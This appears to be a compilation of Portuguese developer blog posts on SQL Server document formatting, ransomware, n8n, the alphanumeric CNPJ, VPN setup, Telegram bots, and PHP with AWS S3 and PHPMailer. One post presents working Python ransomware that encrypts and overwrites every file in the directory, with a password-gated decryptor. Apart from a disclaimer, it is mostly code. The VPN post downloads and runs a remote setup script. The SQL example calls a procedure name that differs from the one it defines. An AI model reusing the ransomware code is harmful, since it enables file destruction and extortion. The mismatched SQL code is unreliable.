Você já se deparou com dados “crus” no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente no sistema? Ou talvez tenha precisado tratar essa visualização direto em um SELECT ou PROCEDURE para exibir os dados já formatados para o cliente?

Hoje vou te mostrar como formatar CNPJ, CPF e CEP diretamente no SQL Server, utilizando funções nativas como SUBSTRING, LEFT, RIGHT e STUFF. O processo é simples, limpo e extremamente útil — principalmente em procedures que geram relatórios, exibem dados em tela ou enviam mensagens automatizadas. Essa abordagem evita o retrabalho de formatar os dados no backend, o que pode gerar processamento desnecessário e quebrar a responsabilidade das camadas do sistema.

Por que formatar direto no SQL?

É comum e até recomendado que os dados armazenados no banco venham sem formatação, contendo apenas os números. Isso facilita operações, buscas e integrações. Mas, quando precisamos exibir os dados de forma legível — como em logs, templates ou mensagens automáticas — ter a formatação no SQL pode ser muito útil.

Formatando CNPJ: 12.345.678/0001-95

SELECT 
    -- Adiciona o primeiro ponto após os 2 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 5 primeiros dígitos (já contando o ponto anterior)
        STUFF(
            -- Adiciona a barra após os 8 primeiros dígitos (contando os dois pontos anteriores)
            STUFF(
                -- Adiciona o traço após os 12 primeiros dígitos (contando os separadores)
                STUFF('12345678000195', 3, 0, '.'),  -- Resultado: 12.345678000195
            7, 0, '.'),                             -- Resultado: 12.345.678000195
        11, 0, '/'),                                -- Resultado: 12.345.678/000195
    16, 0, '-') AS CNPJ_Formatado                  -- Resultado final: 12.345.678/0001-95

Formatando CPF: <em>123.456.789-01</em>

SELECT 
    -- Adiciona o primeiro ponto após os 3 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 6 primeiros dígitos (já contando o primeiro ponto)
        STUFF(
            -- Adiciona o traço após os 9 primeiros dígitos (já contando os pontos)
            STUFF('12345678901', 4, 0, '.'),     -- Resultado: 123.45678901
        8, 0, '.'),                              -- Resultado: 123.456.78901
    12, 0, '-') AS CPF_Formatado                 -- Resultado final: 123.456.789-01

Formatando CEP: 12345-678

SELECT 
    -- Adiciona o traço após os 5 primeiros dígitos
    STUFF('12345678', 6, 0, '-') AS CEP_Formatado
    -- Resultado final: 12345-678

Dica: Centralize a lógica em uma Procedure

Centralizar a formatação em uma procedure ajuda a organizar o código, evitar repetição e facilita a manutenção. Sempre que precisar dessas formatações, basta chamar a procedure.

CREATE PROCEDURE dbo.SP_EXIBE_CLIENTE
    @CNPJ VARCHAR(14),
    @CPF  VARCHAR(11),
    @CEP  VARCHAR(8)
AS
BEGIN
    SET NOCOUNT ON;

    CREATE TABLE #CNPJ_Formatado (CNPJ VARCHAR(18));
    INSERT INTO #CNPJ_Formatado (CNPJ)
    SELECT STUFF(STUFF(STUFF(STUFF(@CNPJ, 3, 0, '.'), 7, 0, '.'), 11, 0, '/'), 16, 0, '-');

    CREATE TABLE #CPF_Formatado (CPF VARCHAR(14));
    INSERT INTO #CPF_Formatado (CPF)
    SELECT STUFF(STUFF(STUFF(@CPF, 4, 0, '.'), 8, 0, '.'), 12, 0, '-');

    CREATE TABLE #CEP_Formatado (CEP VARCHAR(9));
    INSERT INTO #CEP_Formatado (CEP)
    SELECT STUFF(@CEP, 6, 0, '-');

    SELECT
        C.CNPJ,
        P.CPF,
        E.CEP
    FROM #CNPJ_Formatado C
    CROSS JOIN #CPF_Formatado P
    CROSS JOIN #CEP_Formatado E;

    DROP TABLE #CNPJ_Formatado;
    DROP TABLE #CPF_Formatado;
    DROP TABLE #CEP_Formatado;
END

Como usar a Procedure:

EXEC dbo.sp_Formatar_Documentos
    @CNPJ = '12345678000195',
    @CPF = '12345678901',
    @CEP = '12345678'

Resultado esperado:

Atenção!

Essas formatações presumem que os dados estão completos e sem formatação. Caso os campos venham com caracteres inválidos ou estejam incompletos, é importante validar previamente usando LEN, ISNUMERIC, ou TRY_CAST/TRY_CONVERT (se estiver usando SQL Server 2012+).

Conclusão

Saber formatar diretamente no SQL Server pode acelerar tarefas de testes, visualização de dados, geração de relatórios e mensagens automáticas. Se quiser ir além, você pode transformar essas lógicas em funções reutilizáveis para aplicar sempre que necessário.

Curtiu a dica? Já precisou fazer esse tipo de formatação no SQL alguma vez? Comenta aí como você resolveu — ou que tipo de gambiarra já fez com CNPJ e CPF!

Introdução

Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.

O que é um Ransomware?

Um ransomware é um tipo de malware que sequestra os dados da vítima por meio de criptografia. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima não recebe a chave de descriptografia.

Como funciona tecnicamente?

1. O atacante cria um programa que:
   • Vasculha o diretório à procura de arquivos.
   • Criptografa os arquivos com uma chave gerada na hora.
   • Salva a chave num local escondido ou remoto.
   • Exclui os arquivos originais e deixa uma mensagem de resgate.
2. A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.

Exemplo em Python

Atenção: Este exemplo é apenas educativo! Não use esse código para fins maliciosos.

malware.py – Criptografando os arquivos

#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

print("Encrypted files:", files)

key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
    thekey.write(key)

for file in files:
    with open(file, "rb") as thefile:
        content = thefile.read()
    content_encrypted = Fernet(key).encrypt(content)
    with open(file, "wb") as thefile:
        thefile.write(content_encrypted)

print("All your files have been encrypted!")

O que esse código faz?

• Gera uma chave de criptografia com Fernet.
• Ignora arquivos importantes do próprio script.
• Criptografa todos os arquivos do diretório atual e sobrescreve os originais.

Como descriptografar os arquivos?

decrypt.py – Descriptografando

import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

with open("thekey.key", "rb") as key_file:
    secretkey = key_file.read()

passphrase = "M4nu4ld0Pr0gr4m4d0r"  # senha definida pelo "atacante"
user_input = input("Enter the password to decrypt your files: ")

if user_input == passphrase:
    for file in files:
        with open(file, "rb") as thefile:
            content = thefile.read()
        decrypted = Fernet(secretkey).decrypt(content)
        with open(file, "wb") as thefile:
            thefile.write(decrypted)
    print("Files successfully decrypted.")
else:
    print("Wrong password. Access denied.")

O que você aprendeu aqui?

• Como funciona a criptografia de arquivos com Fernet.
• Como é simples automatizar isso em um script.
• Que a segurança digital é responsabilidade de todos nós.

Alerta: uso ético e legal

Esse exemplo foi apresentado somente para fins educacionais, com o objetivo de conscientizar sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é crime previsto em lei.

Como se proteger?

• Nunca execute arquivos desconhecidos.
• Faça backup regular dos seus dados.
• Mantenha o sistema e antivírus sempre atualizados.

Se você trabalha com tecnologia, marketing digital ou processos de negócios, é bem provável que já tenha ouvido falar do n8n. Mas afinal, o que é o n8n? E por que tantas pessoas estão escolhendo essa ferramenta para automatizar tarefas do dia a dia?

Neste post, você vai entender como o n8n funciona, o que ele permite fazer, suas principais vantagens e por que ele se tornou uma das ferramentas de automação low-code mais comentadas do momento.

O que é o n8n?

O n8n (que se pronuncia “n-eight-n”) é uma plataforma de automação de workflows que permite integrar diferentes sistemas, serviços e APIs — tudo com pouca ou nenhuma programação. Ele funciona de forma visual, com nós (nodes) que você conecta para criar fluxos automáticos de tarefas.

É como o Zapier ou o Make (Integromat), mas com um grande diferencial: o n8n é open source e altamente personalizável.

O que dá pra fazer com o n8n?

A resposta curta: praticamente tudo.

Com o n8n, você pode:

• Automatizar envio de e-mails com base em eventos específicos;
• Integrar ferramentas como Slack, Notion, Google Sheets, Trello, GitHub, entre centenas de outras;
• Criar rotinas para consultar APIs externas e salvar dados em bancos;
• Monitorar alterações em sites ou servidores;
• Criar automações com lógica condicional e loops;
• E até mesmo acionar scripts personalizados com código JavaScript ou Python.

Tudo isso com uma interface visual simples e intuitiva.

Por que o n8n se destaca entre outras ferramentas de automação?

Além de ser gratuito e open-source, o n8n permite que você hospede a aplicação onde quiser — inclusive em servidores próprios ou containers Docker.

Alguns diferenciais importantes:

• Sem limites artificiais de workflows ou número de operações (como nas versões gratuitas do Zapier);
• Integrações com mais de 400 serviços;
• Execução local ou em nuvem com total controle dos dados;
• Suporte a funções customizadas, webhooks, bancos de dados e APIs REST.

Ou seja, é uma ferramenta poderosa tanto para desenvolvedores quanto para equipes que buscam automatizar processos internos de forma segura, flexível e escalável.

Quem está usando o n8n?

O n8n tem ganhado espaço entre empresas, startups, agências de marketing e até mesmo criadores de conteúdo. Qualquer pessoa que precise automatizar rotinas e conectar ferramentas sem depender de uma equipe técnica pode se beneficiar.

E justamente por ser open source, a comunidade ao redor do projeto cresce a cada dia, com novos nós, tutoriais e plugins sendo desenvolvidos constantemente.

Conclusão: vale a pena usar o n8n?

Se você procura uma solução robusta, flexível e econômica para automatizar processos, o n8n é uma escolha certeira. Ele se destaca por unir a simplicidade de plataformas visuais com a liberdade de customização que só ferramentas open source oferecem.

Explore o n8n, teste suas possibilidades e descubra como automatizar tarefas pode economizar tempo, reduzir erros e aumentar a produtividade do seu time.

Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores numéricos. A mudança visa acomodar o contínuo crescimento do número de empresas no Brasil e evitar o esgotamento da numeração disponível. Porém, essa novidade trará uma série de desafios técnicos e exigirá adaptações em diversos pontos dos sistemas corporativos. Neste artigo, vamos explorar os principais impactos e sugerir estratégias para uma transição suave.

1. Nova Regra de Cálculo dos Dígitos Verificadores

Até então, os doze primeiros dígitos do CNPJ eram exclusivamente numéricos, e os dois últimos resultavam de um cálculo baseado em módulo 11 e pesos de 2 a 9. Com a inclusão de letras, será necessário atribuir valores numéricos a cada caractere alfabético (A=17, B=18, …, Z=42) antes de aplicar o algoritmo tradicional de dígitos verificadores.

Fluxo de cálculo resumido:

1. Mapeamento: converta cada caractere alfanumérico no seu valor segundo tabela (por exemplo, A→17, B→18, …) .
2. Aplicação de pesos: aplique pesos de 2 a 9 da direita para a esquerda, reiniciando após o peso
3. Somatório e módulo: calcule o somatório dos produtos valor×peso e obtenha o resto da divisão por 11.
4. Definição do dígito: se o resto for 0 ou 1, o dígito é 0; caso contrário, é 11 menos o resto.
5. Repetição: para o segundo dígito, inclua o primeiro DV ao final e repita o processo.

1.1 Primeiro Dígito Verificador

Para validar o CNPJ alfanumérico Y6.K55.XEN/0001-99, extraímos primeiro os 12 caracteres e depois calculamos os dois dígitos verificadores.

1.1.1 Primeiro Dígito Verificador

• Base (12 chars): Y 6 K 5 5 X E N 0 0 0 1
• Valor (ASCII–48):
  • Y → 41
  • 6 → 6
  • K → 27
  • 5 → 5
  • 5 → 5
  • X → 40
  • E → 21
  • N → 30
  • 0 → 0
  • 0 → 0
  • 0 → 0
  • 1 → 1
• Pesos: 5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2

1. Soma dos produtos

41×5 + 6×4 + 27×3 + 5×2 + 5×9 + 40×8 + 21×7 + 30×6 + 0 + 0 + 0 + 1×2 = 1 014

2. Resto da divisão por 11

1 014 mod 11 = 2

3. Cálculo do primeiro dígito (DV₁)
   • Resto ≥ 2 → 11 – 2 = 9

1.1.2 Segundo Dígito Verificador

Y 6 K 5 5 X E N 0 0 0 1 9

• Valores: mesmos 12 anteriores + 9
• Pesos: 6, 5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2

Soma dos produtos

41×6 + 6×5 + 27×4 + 5×3 + 5×2 + 40×9 + 21×8 + 30×7 + 0 + 0 + 0 + 1×3 + 9×2 = 1 168

Resto da divisão por 11

1 168 mod 11 = 2

Cálculo do segundo dígito (DV₂)

Resto ≥ 2 → 11 – 2 = 9

Portanto, os dígitos verificadores são 9 e 9, conferindo com o CNPJ completo:

Y6.K55.XEN/0001-99

1.2 Algoritmo JS para validar se um CNPJ é valido

Será necessário alterar no front-end do sistema, lugares onde tem validação de CNPJ valído, para isso, segue um algoritmo atualizado para fazer essa validação nos inputs informados do sistema:

/**
 * Valida CNPJ alfanumérico (12 caracteres + 2 dígitos)
 * @param {string} input CNPJ formatado ou não (aceita letras e números)
 * @returns {boolean} true se válido, false caso contrário
 */
function validaCnpjAlpha(input) {
  // Remove tudo que não for letra ou dígito
  const cnpj = input.replace(/[^0-9A-Za-z]/g, '').toUpperCase();
  if (!/^[0-9A-Z]{14}$/.test(cnpj)) return false;

  // Converte caractere para valor: código ASCII - 48
  const toValue = ch => ch.charCodeAt(0) - 48;

  // Função que calcula um DV (1 ou 2)
  function calcDv(len) {
    let peso = len + 1; // para len=12, peso inicial é 5; para len=13, peso=6
    const soma = cnpj
      .slice(0, len)
      .split('')
      .map(toValue)
      .reduce((acc, val) => {
        acc += val * peso;
        peso = peso > 2 ? peso - 1 : 9;
        return acc;
      }, 0);
    const resto = soma % 11;
    return resto < 2 ? 0 : 11 - resto;
  }

  // Calcula os dois dígitos verificadores
  const dv1 = calcDv(12);
  const dv2 = calcDv(13);

  // Compara com os dois últimos dígitos do input
  return dv1 === toValue(cnpj[12]) && dv2 === toValue(cnpj[13]);
}

// Exemplo de uso:
console.log(validaCnpjAlpha('12.ABC.345/01DE-35')); // true ou false

2. Mudança nas mascaras de input

Com a entrada de letras, as máscaras de campos de CNPJ em formulários e aplicativos precisam ser revisadas:

• Bibliotecas JavaScript/Vue/Angular: atualize plugins como mask.js para aceitar [0-9A-Za-z] em todas as posições – não apenas dígitos.
• React (IMask): configure o pattern para alfanumérico e garanta a conversão automática para maiúsculas, evitando inconsistências de case.
• UX/UI: ofereça feedback claro ao usuário sobre o formato (ex.: XX.XXX.XXX/YYYY-00). Considere usar placeholders dinâmicos que exibam letras e números.

Essas mudanças exigem testes end‑to‑end (Selenium, Cypress) para garantir que fluxos de cadastro e edição continuem funcionando sem erros.

3. Banco de Dados com VARCHAR

Sistemas que atualmente definem o campo de CNPJ como INT ou BIGINT devem migrar para tipos de texto:

• VARCHAR(14) ou CHAR(14) (12 alfanuméricos + 2 numéricos): garante espaço exato e evita desperdício.
• Índices: recrie índices baseados em strings e avalie o desempenho em consultas que utilizam LIKE, =, ou ordenação. Em bancos muito volumosos, pode ser necessário particionamento ou índices parciais.

Planeje a migração de dados com scripts SQL que convertam registros antigos para o novo padrão, incluindo rotinas de validação de integridade.

4. Regex e Validações em Código

Muitos sistemas usam expressões regulares para extrair ou validar CNPJ em strings (logs, relatórios, integrações). Atualize-as para algo que vai validar se oque foi digitado é um CNPJ valído com:

/^[A-Za-z0-9]{2}\.[A-Za-z0-9]{3}\.[A-Za-z0-9]{3}\/[A-Za-z0-9]{4}-\d{2}$/

Localize todos os artefatos de regex (busca em repositórios, IDEs) e adeque-os para evitar falhas silenciosas em processos automáticos.

Conclusão e Boas Práticas

A adoção do CNPJ alfanumérico é inevitável diante do crescimento das empresas no país. Para mitigar riscos:

1. Planeje versões: use feature flags para alternar validações.
2. Crie ambientes de homologação: inclua casos de teste com letras em processos críticos.
3. Documente mudanças: atualize guias de estilo e manuais de API.
4. Automatize migrações: scripts SQL e pipelines de dados devem rodar sem intervenção manual.
5. Comunique stakeholders: informe times de desenvolvimento, QA, operação e parceiros externos.

Com esses cuidados, seu sistema estará preparado para lidar com o novo padrão de CNPJ, garantindo integridade, performance e compatibilidade.

Passo 1: Preparando o Servidor

Acesse seu servidor como administrador (root):

sudo su -

Atualize o sistema operacional para garantir que tudo está atualizado e compatível:

apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y

Passo 2: Baixando o Script de Configuração

Utilizaremos um script para configurar automaticamente a VPN. Baixe o script:

wget https://get.vpnsetup.net -O vpn.sh

Antes de executá-lo, abra o script para editar as configurações básicas:

vi vpn.sh

Edite as seguintes variáveis no script:

• Adicione a chave pré-compartilhada (PSK).
• Configure o nome do usuário principal e sua senha.

Depois de configurar, salve e saia do editor (no vi, digite :wq e pressione Enter).

Passo 3: Executando o Script

Com as configurações prontas, execute o script para configurar a VPN:

sh vpn.sh

Esse script configurará os serviços necessários, como o IPsec e o L2TP, além de ajustar as permissões.

Passo 4: Adicionando Usuários Adicionais

Se você precisar criar novos usuários para acessar a VPN, use o seguinte comando:

addvpnuser.sh 'usuario01' 'senha01'

Substitua 'usuario01' e 'senha01' pelos dados do novo usuário.

Passo 5: Liberando Portas no Firewall

Certifique-se de que as portas necessárias para a VPN estão abertas no firewall. As portas que precisam estar liberadas são:

• Porta 500 UDP (IKEv1/IKEv2)
• Porta 4500 UDP (NAT-T)

Se você utiliza o ufw, execute os comandos abaixo:

ufw allow 500/udp
ufw allow 4500/udp
ufw reload

Caso utilize outra ferramenta de firewall, ajuste as configurações conforme necessário.

Dicas Finais

• Após a configuração, você pode conectar dispositivos Windows, macOS, Android ou iOS à VPN utilizando o IP do servidor, a chave pré-compartilhada (PSK) e as credenciais de usuário criadas.
• Teste a conexão para garantir que a VPN está funcionando corretamente.

Conclusão

Com esses passos, você terá uma VPN L2TP funcionando de forma eficiente e segura no Ubuntu Server. Isso pode ser útil para acessar recursos remotos, proteger conexões públicas ou até mesmo criar um ambiente de trabalho seguro para sua equipe.

Se você encontrou algum problema ou tem dúvidas, compartilhe nos comentários!

E aí, pessoal! Se você sempre quis criar um bot no Telegram, mas achou que seria complicado, estou aqui para mostrar que é bem mais fácil do que parece. Neste post, vou te ensinar como criar um bot e fazer duas integrações diferentes: uma para enviar alertas via webhook e outra para criar um chatbot que conversa e responde. Vamos nessa?

Passo 1: Criando o bot no Telegram

1. Abra o Telegram e encontre o BotFather. O BotFather é o cara que vai te ajudar a criar e gerenciar o seu bot. Basta procurar por ele na busca do Telegram e iniciar uma conversa.
2. Crie o bot com o comando /newbot. O BotFather vai pedir um nome e um username para o bot. Lembre-se que o username precisa ser único e terminar com “bot” (por exemplo, MeuBotLegal).
3. Guarde o token de acesso. Após configurar tudo, o BotFather vai te dar um token. Esse token é a chave que permite que você controle o bot via código

Passo 2: Pegando o chat_id

Antes de começar a enviar mensagens ou configurar o bot para responder, você precisa pegar o chat_id, que é o identificador do chat onde o bot vai enviar mensagens.

Use a API do Telegram para pegar o chat_id. Você pode pegar o chat_id usando o seguinte script:

Python

Inicie uma conversa com o seu bot. Abra o chat com o seu bot no Telegram e envie uma mensagem, qualquer coisa, só para iniciar a interação.

import requests

# Substitua pelo seu token
TOKEN = 'seu_token_aqui'

# Pega as últimas atualizações do bot
response = requests.get(f'https://api.telegram.org/bot{TOKEN}/getUpdates').json()

# Extrai o chat_id da resposta
chat_id = response['result'][0]['message']['chat']['id']
print(f'Seu chat_id é: {chat_id}')

JavaScript (Node.js)

const axios = require('axios');
const token = 'seu_token_aqui';

axios.get(`https://api.telegram.org/bot${token}/getUpdates`)
  .then(response => {
    const chatId = response.data.result[0].message.chat.id;
    console.log('Seu chat_id é: ', chatId);
  })
  .catch(error => {
    console.error('Erro ao pegar chat_id: ', error);
  });

Anote o chat_id. Execute o script acima e você verá o chat_id no console. Anote esse ID porque você vai usá-lo nos próximos passos.

Passo 3: Exemplo 1 – Enviando alertas via webhook

Agora que você tem o chat_id, vamos começar com algo simples: enviar alertas pro Telegram usando um webhook. Isso é útil quando você quer ser notificado automaticamente sobre alguma coisa, tipo um erro no seu sistema.

Python

Instale a biblioteca requests.

pip install requests

Crie um script para enviar mensagens.

import requests

# Token e ID do chat
TOKEN = 'seu_token_aqui'
CHAT_ID = 'seu_chat_id_aqui'

def enviar_alerta(mensagem):
    url = f'https://api.telegram.org/bot{TOKEN}/sendMessage'
    data = {'chat_id': CHAT_ID, 'text': mensagem}
    requests.post(url, data=data)

enviar_alerta('⚠ Alerta: Algo deu errado no sistema!')

JavaScript (Node.js)

Instale o axios para fazer as requisições.

npm install axios

Crie um script básico para enviar alertas.

const axios = require('axios');
const token = 'seu_token_aqui';
const chatId = 'seu_chat_id_aqui';
const message = '⚠ Alerta: Algo deu errado no sistema!';

axios.post(`https://api.telegram.org/bot${token}/sendMessage`, {
    chat_id: chatId,
    text: message
}).then(response => {
    console.log('Mensagem enviada: ', response.data);
}).catch(error => {
    console.error('Erro ao enviar mensagem: ', error);
});

Execute o script e teste o envio do alerta.

Passo 4: Exemplo 2 – Criando um chatbot com interação

Agora, vamos deixar o negócio mais interessante: vamos criar um bot que responde às mensagens que você enviar para ele.

Python

Instale a biblioteca python-telegram-bot.

pip install python-telegram-bot

Crie um bot que responde a comandos.

from telegram import Update
from telegram.ext import Application, CommandHandler

# Token do Bot
TOKEN = 'seu_token_aqui'

async def start(update: Update, context):
    await update.message.reply_text('Oi! Como posso ajudar?')

async def help_command(update: Update, context):
    await update.message.reply_text('Aqui está a lista de comandos: /start, /help')

if __name__ == '__main__':
    # Cria a aplicação e adiciona os handlers
    application = Application.builder().token(TOKEN).build()

    application.add_handler(CommandHandler("start", start))
    application.add_handler(CommandHandler("help", help_command))

    # Inicia o bot
    application.run_polling()

JavaScript (Node.js)

Instale a biblioteca node-telegram-bot-api.

npm install node-telegram-bot-api

Crie um bot que responde aos comandos.

const TelegramBot = require('node-telegram-bot-api');
const token = 'seu_token_aqui';
const bot = new TelegramBot(token, {polling: true});

bot.onText(/\/start/, (msg) => {
    bot.sendMessage(msg.chat.id, "Oi! Como posso ajudar?");
});

bot.onText(/\/help/, (msg) => {
    bot.sendMessage(msg.chat.id, "Aqui está a lista de comandos: /start, /help");
});

Teste a interação com o seu bot.

Considerações finais

Pronto! Agora você sabe como criar um bot no Telegram, tanto para enviar alertas via webhook quanto para criar um chatbot interativo. Com esses exemplos, você pode começar a explorar mais funcionalidades e personalizar seu bot para fazer o que você quiser. Adicione suas capturas de tela onde indicado e compartilhe com a galera o que você criou!

Dica: Sempre proteja o token do seu bot e evite compartilhá-lo publicamente para garantir a segurança.

Visão Geral

O Amazon S3 é amplamente utilizado para armazenamento de arquivos, enquanto o Amazon CloudFront pode ser empregado para entrega de conteúdo de forma rápida e segura. Aqui, vamos configurar um projeto PHP para realizar uploads no S3, obter URLs através do CloudFront, e discutir as vantagens de usar o CloudFront para acessar seus arquivos.

Estrutura do Projeto

Seu projeto será estruturado da seguinte forma:

project/
├── src/
│   ├── S3Manager.php
│   └── example.php
├── .env
├── composer.json
└── README.md

Dependências Necessárias

Antes de começar, certifique-se de ter o Composer instalado, pois ele gerenciará as dependências do seu projeto PHP. No arquivo composer.json, adicione as seguintes dependências:

{
    "require": {
        "aws/aws-sdk-php": "^3.0",
        "vlucas/phpdotenv": "^5.4"
    }
}

Em seguida, instale as dependências:

composer install

Configurando Variáveis de Ambiente

Utilize um arquivo .env para gerenciar configurações sensíveis, como chaves de acesso AWS. O conteúdo do seu arquivo .env deve ser algo como:

AWS_ACCESS_KEY_ID=your_access_key_id
AWS_SECRET_ACCESS_KEY=your_secret_access_key
AWS_REGION=your_aws_region
S3_BUCKET_NAME=your_s3_bucket_name
CLOUDFRONT_URL=https://your_cloudfront_distribution_url/

Criando a Classe de Gerenciamento de Arquivos no S3

Crie a classe S3Manager.php para gerenciar uploads e recuperação de URLs:

<?php

namespace App;

use Aws\S3\S3Client;
use Dotenv\Dotenv;

class S3Manager
{
    private $s3;
    private $bucket;
    private $cloudfrontUrl;

    public function __construct()
    {
        $dotenv = Dotenv::createImmutable(__DIR__ . '/../');
        $dotenv->load();

        $this->bucket = $_ENV['S3_BUCKET_NAME'];
        $this->cloudfrontUrl = $_ENV['CLOUDFRONT_URL'];

        $this->s3 = new S3Client([
            'version' => 'latest',
            'region'  => $_ENV['AWS_REGION'],
            'credentials' => [
                'key'    => $_ENV['AWS_ACCESS_KEY_ID'],
                'secret' => $_ENV['AWS_SECRET_ACCESS_KEY'],
            ],
        ]);
    }

    public function uploadFile($filePath, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'SourceFile' => $filePath,
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }

    public function getFileUrl($key)
    {
        return $this->cloudfrontUrl . $key;
    }

    public function uploadFromFiles($file, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'Body'   => fopen($file['tmp_name'], 'rb'),
                'ACL'    => 'public-read', // Optional: for public access
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }
}

Exemplo de Uso

Agora, você pode usar a classe S3Manager para fazer o upload de arquivos, tanto a partir de um caminho no sistema de arquivos quanto diretamente do $_FILES:

<?php

require 'vendor/autoload.php';

use App\S3Manager;

$s3Manager = new S3Manager();

// Exemplo de upload de um arquivo existente
$filePath = '/path/to/your/file.txt';
$key = 'uploads/file.txt';
$uploadUrl = $s3Manager->uploadFile($filePath, $key);

if ($uploadUrl) {
    echo "File uploaded successfully. URL: " . $uploadUrl . PHP_EOL;
}

// Exemplo de upload via $_FILES
if ($_FILES) {
    $file = $_FILES['uploaded_file'];
    $key = 'uploads/' . basename($file['name']);
    $uploadUrl = $s3Manager->uploadFromFiles($file, $key);

    if ($uploadUrl) {
        echo "File uploaded successfully via \$_FILES. URL: " . $uploadUrl . PHP_EOL;
    }
}

// Exemplo de obtenção da URL do arquivo via CloudFront
$fileUrl = $s3Manager->getFileUrl($key);
echo "File URL via CloudFront: " . $fileUrl . PHP_EOL;

Vantagem de Configurar uma Distribuição do CloudFront para S3

Ao utilizar o Amazon S3 para armazenar seus arquivos, cada acesso a esses arquivos gera custos. Dependendo do volume de acessos, isso pode se tornar significativo. Uma maneira eficiente de reduzir esses custos e ainda melhorar a performance de sua aplicação é configurando uma distribuição do Amazon CloudFront.

O CloudFront é uma Content Delivery Network (CDN) da AWS que oferece várias vantagens:

• Redução de Custos: Enquanto o S3 cobra por cada acesso aos seus arquivos, o CloudFront oferece um custo por acesso menor, o que pode resultar em economias consideráveis, especialmente para sites ou aplicações com alto tráfego.
• Cacheamento: O CloudFront armazena em cache os arquivos em diversos pontos de presença (PoPs) ao redor do mundo. Isso não só reduz a latência, tornando o acesso mais rápido para os usuários, como também diminui a quantidade de requisições diretamente ao S3, economizando ainda mais nos custos de acesso.
• Melhoria de Performance: Com os arquivos sendo servidos a partir de locais mais próximos dos usuários finais, o tempo de carregamento é significativamente reduzido, proporcionando uma experiência de usuário mais fluida.

Ao configurar o CloudFront para distribuir os arquivos armazenados no S3, você não só economiza, mas também melhora a performance e a escalabilidade da sua aplicação.

Considerações Finais

Ao configurar seu projeto PHP para interagir com o Amazon S3 e CloudFront, você está construindo uma solução escalável e segura para gerenciar arquivos na nuvem. O uso de variáveis de ambiente e a abordagem modular ajudam a manter a flexibilidade e a segurança do seu sistema. Além disso, a possibilidade de fazer uploads diretamente via $_FILES facilita a integração em sistemas que recebem arquivos de formulários HTML.

Se você está começando a trabalhar com AWS ou deseja melhorar seu sistema atual, essa solução pode ser o ponto de partida ideal, especialmente ao considerar as vantagens de utilizar o CloudFront para acessar seus arquivos no S3.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!

Por que usar o PHPMailer?

PHPMailer é uma biblioteca PHP amplamente utilizada por sua facilidade de uso e por suportar funcionalidades avançadas como envio de anexos, e-mails em HTML, e suporte a SMTP. Além disso, ele permite uma integração segura com serviços de e-mail como o Amazon SES, utilizando variáveis de ambiente para proteger suas credenciais.

Configurando o Ambiente

Antes de tudo, é importante garantir que suas credenciais sensíveis, como senhas de e-mail e chaves de acesso da AWS, estejam protegidas. Isso pode ser feito utilizando variáveis de ambiente, que mantêm essas informações fora do código-fonte, minimizando riscos de exposição.

No entanto, para que o PHP consiga ler as variáveis de ambiente de um arquivo .env, é necessário utilizar uma biblioteca como o vlucas/phpdotenv.

Passo 1: Instalação do PHP dotenv

Você pode instalar o phpdotenv utilizando o Composer:

composer require vlucas/phpdotenv

Passo 2: Configuração do Arquivo .env

Crie um arquivo .env na raiz do seu projeto e adicione suas variáveis de ambiente:

SMTP_HOST=email-smtp.[região].amazonaws.com
SMTP_PORT=587
SMTP_USERNAME=sua_ses_access_key
SMTP_PASSWORD=sua_ses_secret_key

Passo 3: Carregando as Variáveis de Ambiente no PHP

No início do seu script PHP, você precisará carregar as variáveis de ambiente com o phpdotenv:

<?php

require 'vendor/autoload.php';

// Carrega as variáveis de ambiente do arquivo .env
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv->load();

$host = getenv('SMTP_HOST');
$username = getenv('SMTP_USERNAME');
// Agora você pode utilizar essas variáveis na configuração do PHPMailer

Instalação do PHPMailer

Agora que suas variáveis de ambiente estão configuradas, é hora de instalar o PHPMailer. A maneira mais simples de fazer isso é utilizando o Composer:

composer require phpmailer/phpmailer

Criando a Classe de Envio de E-mails

Agora vamos criar uma classe em PHP que utiliza o PHPMailer para enviar e-mails. Esta classe será configurada para usar as variáveis de ambiente que definimos anteriormente.

<?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/autoload.php';

class EmailService
{
    private $mailer;

    public function __construct()
    {
        $this->mailer = new PHPMailer(true);
        $this->configure();
    }

    private function configure()
    {
        // Configurações do servidor SMTP
        $this->mailer->isSMTP();
        $this->mailer->Host = getenv('SMTP_HOST');
        $this->mailer->SMTPAuth = true;
        $this->mailer->Username = getenv('SMTP_USERNAME');
        $this->mailer->Password = getenv('SMTP_PASSWORD');
        $this->mailer->SMTPSecure = 'tls';
        $this->mailer->Port = getenv('SMTP_PORT');
    }

